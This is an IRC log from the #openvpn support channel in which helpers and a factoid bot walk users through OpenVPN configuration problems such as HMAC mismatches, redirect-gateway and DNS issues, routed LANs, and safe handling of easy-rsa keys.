13:16 < wraptor> 2..2.2 works fine
13:17 < rob0> I have a 2.1.x on my server, and I see clients in "status"
13:17 <@ecrist> I've always used "status"
13:18 < pekster> Yea, unless it's a regression in 2.2.0 then it should work fine; maybe your client is on a different instance than you expect?
13:18 < pekster> load-stats is a nice way to parse for connected clients without resorting to parsing the number of lines between the start/end client output
13:44 -!- DelphiWorld [~TayebMeft@openvpn/user/DelphiWorld] has quit [Ping timeout: 245 seconds]
13:53 < joshu> i've got my openvpn up somewhat but in the logs I see this message "Authenticate/Decrypt packet error: packet HMAC authentication failed" I have the ca.crt, user.crt and user.key on both the server and client. What am I missing?
13:54 < EugeneKay> !hmac
13:54 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make the tls
13:54 <@vpnHelper> static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
13:54 < pekster> joshu: Why is your user.anything on the server?
13:54 < joshu> pekster sorry my typo it is not.
13:54 < pekster> joshu: Server needs: ca.crt, dh.pem, server.crt, and server.key. Client needs: ca.crt, client.crt, and client.key
13:55 < joshu> correct that's what I have I mistyped
13:55 < pekster> Ah, k
13:55 < joshu> so vpnHelper the problem is the tls-key...odd let me check my config because on the server I don't have that directive set. Maybe it's on the client...
13:55 < pekster> Chances are you have a mis-match on the crypto settings between peers. Either incorrect/unmatched --tls-auth (see output above) or one of your other crypto settings don't properly match between server/client
13:56 < pekster> If you're still confused, read the config pasting steps at !config and provide us pastebin links
14:03 < joshu> pekster here's my server and client configs as of right now
14:03 < joshu> https://gist.github.com/anonymous/510a45e3aa2121410267
14:03 <@vpnHelper> Title: client.conf (at gist.github.com)
14:05 < joshu> i think i've spotted the problem
14:05 < pekster> None of that is openvpn config file
14:05 < pekster> If you're using a frontend, you should consult the vendor/supplier of that frontend for help configuring it
14:05 < joshu> the server conf is from Vyatta. and the client from ubuntu
14:06 < pekster> That is _not_ an openvpn config file
14:06 < joshu> ok
14:06 < pekster> OpenVPN does not use [SECTION] "ini-style" configs
14:06 < pekster> The !howto covers openvpn config with an included example section and step-by-step walkthrough
14:07 < pekster> The NetworkManager bit might incidcate that's some NM config file, but it's meaningless to openvpn
14:14 < joshu> ok my client config crypto settings were a mismatch to the server config. thanks for pointing me in that direction. the connection has been stable now for several minutes and no errors are reported in the logs.
14:16 -!- Aliekzhi [~Aliekzhi@165.125.116.78.rev.sfr.net] has joined #openvpn
14:18 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
14:35 -!- max_ [~max@173-21-246-1.client.mchsi.com] has joined #openvpn
14:41 -!- max_ [~max@173-21-246-1.client.mchsi.com] has quit [Ping timeout: 245 seconds]
15:05 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
15:07 -!- tfox [~tfox@184.75.214.90] has joined #openvpn
15:08 < tfox> hello. I'm getting a "TLS Error: local/remote TLS keys are out of sync" error in my logs. I've poked around online, but I haven't found the right solution. Suggestions are that it may be NTP related, but NTP seems to be running ok. Could this be related to me connecting to a VPN in a different timezone? What can I do to fix this?
15:15 -!- [1]tfox [~tfox@184.75.215.154] has joined #openvpn
15:16 -!- tfox [~tfox@184.75.214.90] has quit [Ping timeout: 240 seconds]
15:16 -!- [1]tfox is now known as tfox
15:19 < oc80z> what is the name of that openssl cert manager.. it may have been written in perl or... hmmm
15:20 < pekster> !certman
15:20 <@vpnHelper> "certman" is (#1) Various frontends can help you manage your PKI (certs & keys.) !easy-rsa is the officially supported one for OpenVPN. or (#2) Other choices include: !xca, !ssladmin, and probably others online
15:21 < pekster> ssladmin is in perl, if that's what you were thinking of
15:21 < oc80z> aaahha!
15:21 < pekster> tfox: Did the server restart its service? That is the common cause of that type of error
15:21 < pekster> tfox: Basically, the error is telling you that a TLS (control channel) packet has arrived, but OpenVPN has no memory of a TLS session with the peer
15:22 -!- tfox [~tfox@184.75.215.154] has quit [Ping timeout: 240 seconds]
15:29 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has joined #openvpn
15:30 -!- [1]tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has joined #openvpn
15:33 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
15:33 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has quit [Ping timeout: 246 seconds]
15:33 -!- [1]tfox is now known as tfox
15:35 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
15:37 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 245 seconds]
15:37 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Wibbly Wobbly IRC]
15:37 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has joined #openvpn
15:41 -!- Synthead [~max@173-21-247-91.client.mchsi.com] has joined #openvpn
15:41 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
15:44 -!- [1]tfox [~tfox@162.219.179.2] has joined #openvpn
15:45 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has quit [Ping timeout: 264 seconds]
15:47 -!- tfox [~tfox@162.219.179.2] has joined #openvpn
15:49 -!- [1]tfox [~tfox@162.219.179.2] has quit [Ping timeout: 265 seconds]
15:54 -!- maskedlua_ is now known as maskedlua
15:58 -!- mattock is now known as mattock_afk
16:15 -!- [1]tfox [~tfox@184.75.214.50] has joined #openvpn
16:17 -!- tfox [~tfox@162.219.179.2] has quit [Ping timeout: 265 seconds]
16:17 -!- [1]tfox is now known as tfox
16:23 -!- Synthead [~max@173-21-247-91.client.mchsi.com] has quit [Remote host closed the connection]
16:25 -!- Synthead [~max@173-21-247-91.client.mchsi.com] has joined #openvpn
16:37 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
16:38 < joshu> everything is working fine now with an ubuntu client connecting to the server. However when I use the same config on an iPhone it connects fine and I can access LAN resources, but I can't access WAN. From the server logs this is what I get showing the routes are identical https://gist.github.com/anonymous/72157d55950279716b7e
16:38 <@vpnHelper> Title: gist:72157d55950279716b7e (at gist.github.com)
16:41 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
16:41 < pekster> What's the goal here? Redirecting client traffic to the Internet over the VPN? If so, see the info & flowchart at: !redirect
16:42 < pekster> Normally you should be using 'def1' with --redirect-gateway
16:46 < joshu> pekster correct full tunnelling.  so i'm missing the def1 value for --redirect-gateway and that could be why the two OSs behave differently, e.g. one has WAN access and the other not?
16:47 -!- Synthead [~max@173-21-247-91.client.mchsi.com] has quit [Remote host closed the connection]
16:47 < pekster> Possibly
16:47 < pekster> Messing with the 0/0 (aka "default") route is usually a setup for disaster when you're redirecting
16:48 < pekster> See the flowchart resource I referenced and follow its advice and further info
16:48 < pekster> !redirect
16:48 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:48 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
16:48 < pekster> Also, maybe:
16:48 < pekster> !new
16:48 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info or (#3) you can see the full factoids list at !factoids
16:53 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:55 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:03 -!- Aliekzhi [~Aliekzhi@165.125.116.78.rev.sfr.net] has left #openvpn ["Leaving"]
17:04 < joshu> pekster thanks for the links to the flowcharts...according to the chart the redirect-gateway directive  should be enabled on the client. All the examples I've seen online show the option in the server config only. Is that only if you push the option to the clients?
17:05 < pekster> It has the same effect (so long as the client uses --client or --pull to pull from the server)
17:06 < joshu> right I follow. I'm still working through the flowchart to see if I can solve it myself
17:19 -!- u0m3 [~u0m3@109.96.151.231] has quit [Read error: Connection reset by peer]
17:23 -!- u0m3 [~u0m3@92.80.110.10] has joined #openvpn
17:28 < joshu> pekster ok what I have so far is that with push redirect-gateway def1 on the server, the ubuntu client connects fine and is able to ping the openvpn server, use the openvpn server to resolve DNS and access WAN.
17:29 < joshu> the iOS client connects, can ping the openvpn server, but cannot resolve any DNS. So as per the flowchart it's a DNS issue, but strange that only the iOS client is affected.
17:30 < pekster> Depends on if you're pushing a --dhcp-option, and if the client is configured to do something meaningful with it
17:30 < pekster> Since iOS doesn't actually support OpenVPN, only the Connect product (see: !connect) I'm not entierly sure how/what it does
17:31 < pekster> I'd suggest you open a console and see if DNS queries work if you use a well-known DNS server, but I've no clue if iOS lets you get a real console
17:31 < joshu> I downloaded an iOS app with network tools. I did my trace route, ping test from it.
17:32 < joshu> It was not able to resolve DNS but I could ping say 8.8.8.8.
17:32 < pekster> My point is you should _use_ 8.8.8.8 _as_ your DNS server for a lookup test
17:32 < pekster> `dig @8.8.8.8 google.com` or such from a "real" OS
17:32 < pekster> (however the hell apple does that)
17:33 < pekster> If it works, either you're not pushing DNS to the VPN client, or it's not using it. If not, something is wrong with DNS delivery
17:36 < joshu> hmm ok yeah the only DNS testing I can do from iOS is via an app as there is no console such as on Ubuntu. As the Ubuntu client functions correctly it must be an iOS Connect issue or something to do with iOS and DNS.
18:19 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has joined #openvpn
18:22 < joshu> pekster still trying to figure out how to fix it
18:22 < joshu> does the order of settings in server config matter? e.g. redirect-gateway def1 before or after push dhcp-option DNS ?
18:39 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has quit [Ping timeout: 252 seconds]
18:40 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has joined #openvpn
18:45 < pekster> Nope, doesn't matter
18:50 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has quit [Ping timeout: 272 seconds]
18:52 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has joined #openvpn
18:52 < joshu> ok
19:01 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has quit [Quit: Nikon_m]
19:05 -!- oO0Oo- [o_o@gateway/shell/elitebnc/x-yuelwchshopvjufn] has quit [K-Lined]
19:15 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Quit: ZNC - http://znc.sourceforge.net]
19:19 < joshu> pekster i've tried what feels like everything but it's still not working. O
19:20 < joshu> I've been working on this for several hours now, so I might be overlooking something. Is t possible that by using the public-ip for the server ip that that might be causing the problem with pushing DNS properly?
19:20 < joshu> should I specify the openvpn server ip as a private LAN address?
19:23 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
19:47 -!- wraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
19:50 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 252 seconds]
19:51 -!- wraptor [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
19:52 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
20:41 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 246 seconds]
20:41 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has quit [Ping timeout: 240 seconds]
20:44 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has joined #openvpn
20:48 -!- wraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
20:52 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has quit [Ping timeout: 250 seconds]
20:55 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has joined #openvpn
21:04 -!- [1]tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has joined #openvpn
21:05 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
21:07 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
21:07 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-gksougzgamzfbamw] has joined #openvpn
21:08 -!- tfox [~tfox@184.75.214.50] has quit [Ping timeout: 265 seconds]
21:08 -!- [1]tfox is now known as tfox
21:08 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has joined #openvpn
21:11 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
21:18 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has quit [Ping timeout: 272 seconds]
21:20 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has joined #openvpn
21:36 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
21:37 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has quit [Ping timeout: 240 seconds]
21:38 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
22:13 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
22:13 -!- BtbN [znc@btbn.de] has joined #openvpn
22:36 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
22:37 -!- BtbN [btbn@btbn.de] has joined #openvpn
22:45 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
22:56 -!- wallbroken [~wallbroke@unaffiliated/wallbroken] has joined #openvpn
22:59 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has quit [Ping timeout: 248 seconds]
23:14 -!- josefig [~josef@unaffiliated/josefig] has joined #openvpn
23:15 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
23:16 < josefig> Hello, I'm trying to restart my vpn daemon and I get failed, this is my config: http://sprunge.us/ACIc?config
23:16 <@ecrist> more interested in the log
23:18 < josefig> ecrist, http://sprunge.us/cfhe
23:18 < josefig> the server I'm trying to reach is 192.168.0.104 that's where I installed openvpn
23:19 <@ecrist> your config is pretty messed up
23:19 <@ecrist> read the man page for --server
23:19 < wallbroken> !easyrsa
23:19 <@vpnHelper> "easyrsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/releases or (#3) Source checkouts available from the github project; current official release download is 2.2.2 with 3.x code in git-master.
23:20 <@ecrist> so, your VPN server is also the server you want to reach via the VPN?
23:20 < josefig> ok
23:20 < josefig> no, I have 3 servers I want to reach, but this is included.
23:20 <@ecrist> let's restart
23:20 <@ecrist> !goal
23:20 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:24 < josefig> I'd like to access the lan bind the server, there are 3 servers, 192.168.0.101..104, the one I installed is .104
23:27 < pekster> You probably want to browse:
23:27 < pekster> !serverlan
23:27 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
23:27 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
23:27 < wallbroken> gen-req only generates a cert.key and cert.req, right?
23:28 < pekster> wallbroken: Yup, just the keypair and request
23:29 < wallbroken> just created all that i need, now can I send the .cert to the client over internet?
23:29 < josefig> !route
23:29 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
23:29 <@vpnHelper> client
23:30 < pekster> wallbroken: cert and the ca.crt (if the client doesn't have it yet.) Internet is fine, or "any" method you choose
23:30 < wallbroken> ok
23:30 < wallbroken> then, request file doesn't need it anymore
23:30 < wallbroken> so, I will delete it
23:32 < josefig> I need to read about it.
23:32 < pekster> You could if you'd like; it doesn't hurt to leave it though
23:34 < josefig> pekster, I'd like to set it up correctly first. Some free time to experiment.
23:35 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
23:41 -!- josefig [~josef@unaffiliated/josefig] has quit [Ping timeout: 272 seconds]
23:42 -!- josefig [~josef@unaffiliated/josefig] has joined #openvpn
23:56 < wallbroken> pekster, a little problem: if i do create also client keypair on the server, how can i do to send it to client in a secure way?
23:57 <@ecrist> that's a lesson for the reader
23:57 <@ecrist> download via SSH perhaps
23:57 <@ecrist> or authenticated https
23:57 <@ecrist> or on USB flash disk
23:57 < wallbroken> ecrist, i've used easyrsa 3 to not send a private key over internet
23:58 <@ecrist> if you send it via ssh, it's still secure...
23:58 < wallbroken> pekster said me that every time I do it, A kitten deads
23:59 < wallbroken> if ssh is also secure, why in easyrsa3 they intoduced request files?
23:59 <@ecrist> because that's how SSL works
--- Day changed Fri Dec 20 2013
00:00 < pekster> It's secure to send things across ssh if you can trust the host (previously established host trust or verified expected key)
00:00 < pekster> It's "sort of okay" to send private key material that way, though you then have the key on multiple systems which is bad (especially if it's been on the CA system)
00:01 < pekster> Also, request files have existed in easy-rsa v2 as well; it just "hid" that from users becuase it was designed without much security in mind for daily ops :\
00:02 < pekster> Why create your keypair on the server though? :P
00:02 < wallbroken> because client is far from here
00:06 <@ecrist> print it out and mail it
00:08 < pekster> I don't get how you plan to get the key to the client that prevents you from genearting the key on the client in the first place, but the good news is that you get to come up with a workflow for your use-case
00:20  * ecrist secures DNR ATV Instructor status
00:21 <@ecrist> I've completed the trifecta
00:21 <@ecrist> Snowmobile, ATV, and Firearms
00:25 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
00:30 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
00:31 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
00:36 -!- fvalente [~fvalente@ts.node.pt] has quit [Ping timeout: 272 seconds]
00:39 -!- fvalente [~fvalente@ts.node.pt] has joined #openvpn
00:51 -!- josefig [~josef@unaffiliated/josefig] has quit [Quit: Textual app]
00:54 -!- josefig [~josefig@unaffiliated/josefig] has joined #openvpn
01:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:27 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 272 seconds]
01:30 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
01:34 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
01:34 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
01:39 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 246 seconds]
01:56 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
01:56 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
02:21 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
02:25 -!- u0m3 [~u0m3@92.80.110.10] has quit [Ping timeout: 245 seconds]
02:26 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
02:31 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
02:55 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
03:03 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
03:07 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
03:16 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
03:16 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
03:23 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
03:26 -!- aji [~alex@atheme/member/aji] has quit [Ping timeout: 240 seconds]
03:27 -!- aji [~alex@atheme/member/aji] has joined #openvpn
03:38 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
03:43 -!- g0uZ [~NickServ@ip-74.net-81-220-31.lyon.rev.numericable.fr] has joined #openvpn
03:45 < g0uZ> hi all
03:45 < g0uZ> I've a client-connect script that create an iroute when a client connect (client is sending some UV_variable)
03:46 < g0uZ> my pb is that clients have to relaunch the VPN a second time to be able to use these iroute
03:46 < g0uZ> is there a way to avoid that ?
04:36 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Quit: Leaving]
04:42 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
04:43 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
04:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
04:59 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:02 -!- jhp [~jhp@zeus.jhprins.org] has joined #openvpn
05:03 < jhp> Hi everyone. I need a bit of advice. I have always used a TAP configuration and this works just fine when you want to bridge all users into the same network.
05:03 < jhp> Now I need to route some users to specific networks and I don't want them to change the IP they get assigned and I want to use firewall rules to give them access to specific resources.
05:04 < jhp> Is this possible with one TUN config, or do I need to create a seperate TUN config for each group of users?
05:05 < jhp> And do I need to create firewall rules based on subnets instead of IP addresses of users?
05:17 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:02 -!- Fetch [fetch@gimel.cepheid.org] has quit [Read error: Connection reset by peer]
06:02 -!- Fetch [fetch@gimel.cepheid.org] has joined #openvpn
06:02 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has quit [Read error: Connection reset by peer]
06:03 -!- codehero [codehero@irc.coding4coffee.org] has quit [Ping timeout: 272 seconds]
06:05 -!- codehero [codehero@irc.coding4coffee.org] has joined #openvpn
06:09 -!- patrakov [~aep@111279190.convex.ru] has joined #openvpn
06:11 < patrakov> Hello. I have an ASUS RT-N66U router, reflashed to Tomato-USB, and there is openvpn server on it. The default settings are http://pastebin.ca/2515703
06:12 < patrakov> The problem is: openvpn eats ~50% of that MIPS CPU at 1.5 Mbps traffic. Should I disable lzo, or change the cipher, to lower that?
06:13 < patrakov> CPU:  21% usr   8% sys   0% nic  57% idle   0% io   0% irq  12% sirq
06:19 -!- batrick [batrick@nmap/developer/batrick] has quit [Remote host closed the connection]
06:28 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 252 seconds]
06:28 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Quit: Leaving...]
06:44 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:25 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
07:35 -!- Jaska__ [~Q@gprs-internet-bceeeb-235.dhcp.inet.fi] has joined #openvpn
07:35 -!- Linmu [~Linmu@203.70.194.104] has quit [Remote host closed the connection]
07:35 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 248 seconds]
07:45 -!- rolloTomasi [~rolloToma@bas1-kitchener09-1176482838.dsl.bell.ca] has quit [Ping timeout: 246 seconds]
07:47 -!- rolloTomasi [~rolloToma@cre71-3-88-186-236-117.fbx.proxad.net] has joined #openvpn
07:50 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
07:51 -!- Jaska__ [~Q@gprs-internet-bceeeb-235.dhcp.inet.fi] has quit [Ping timeout: 240 seconds]
07:57 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Quit: cpm]
07:59 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
08:02 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
08:12 < Fruckiwacki> Hello, I have a server that is reachable from eth0, once connecting the server to a OpenVPN that pushes "redirect-gateway def1", eth0 becomes unreachable from outside. What am I looking for to prevent that?
08:12 < Fruckiwacki> in fact that 'Internet Gateway' behavior is what i need, but i want to still have the ability to reach eg. SSH to eth0 from outside and not through the VPN.
08:13 -!- rolloTomasi [~rolloToma@cre71-3-88-186-236-117.fbx.proxad.net] has quit [Ping timeout: 272 seconds]
08:15 -!- rolloTomasi [~rolloToma@bas1-kitchener09-1176482838.dsl.bell.ca] has joined #openvpn
08:15 -!- patrakov [~aep@111279190.convex.ru] has quit [Ping timeout: 246 seconds]
08:19 -!- g0uZ [~NickServ@ip-74.net-81-220-31.lyon.rev.numericable.fr] has quit [Remote host closed the connection]
08:31 < rob0> Policy routing, which varies by OS. If Linux, see:
08:31 < rob0> !lartc
08:31 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
08:39 -!- u0m3 [~u0m3@92.80.121.199] has joined #openvpn
08:46 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
08:46 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:01 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
09:03 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has quit [Excess Flood]
09:06 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
09:06 < pekster> jhp: tun is what you want for that, yes. Either use static address assingment (see: !static) and write your firewall rules on those IPs, or use dynamic on-connect firewalling
09:08 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
09:08 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has quit [Client Quit]
09:10 -!- dvl [~dan@64.147.113.42] has joined #openvpn
09:17 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
09:22 -!- u0m3 [~u0m3@92.80.121.199] has quit [Read error: Connection reset by peer]
09:28 -!- u0m3 [~u0m3@92.80.121.199] has joined #openvpn
09:30 -!- lilibox [~franta_bi@93.99.40.10] has quit [Ping timeout: 245 seconds]
09:37 < jhp> !static
09:37 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
09:43 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has quit [Ping timeout: 240 seconds]
09:43 -!- master_o1_master [~master_of@p4FD7B4C5.dip0.t-ipconnect.de] has joined #openvpn
09:43 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
09:45 -!- master_of_master [~master_of@p4FD7BAAA.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
10:05 -!- Cy-Gor is now known as Cy-Doge
10:45 -!- dvl [~dan@64.147.113.42] has quit [Ping timeout: 240 seconds]
10:47 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
11:04 -!- Cy-Doge [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
11:12 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:24 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
11:28 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has joined #openvpn
11:32 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has joined #openvpn
11:39 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has left #openvpn []
11:51 -!- TheCaptain2000_ [~quassel@67.237.79.188.dynamic.jazztel.es] has joined #openvpn
11:55 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has quit [Remote host closed the connection]
12:00 -!- TheCaptain2000_ [~quassel@67.237.79.188.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
12:22 < Fruckiwacki> rob0, thanks!
12:33 -!- master_o1_master [~master_of@p4FD7B4C5.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
12:33 -!- master_of_master [~master_of@p4FD7B4C5.dip0.t-ipconnect.de] has joined #openvpn
12:59 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
13:01 -!- josefig [~josefig@unaffiliated/josefig] has quit [Ping timeout: 248 seconds]
13:15 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
13:17 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
13:28 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 25.0.1/20131112160018]]
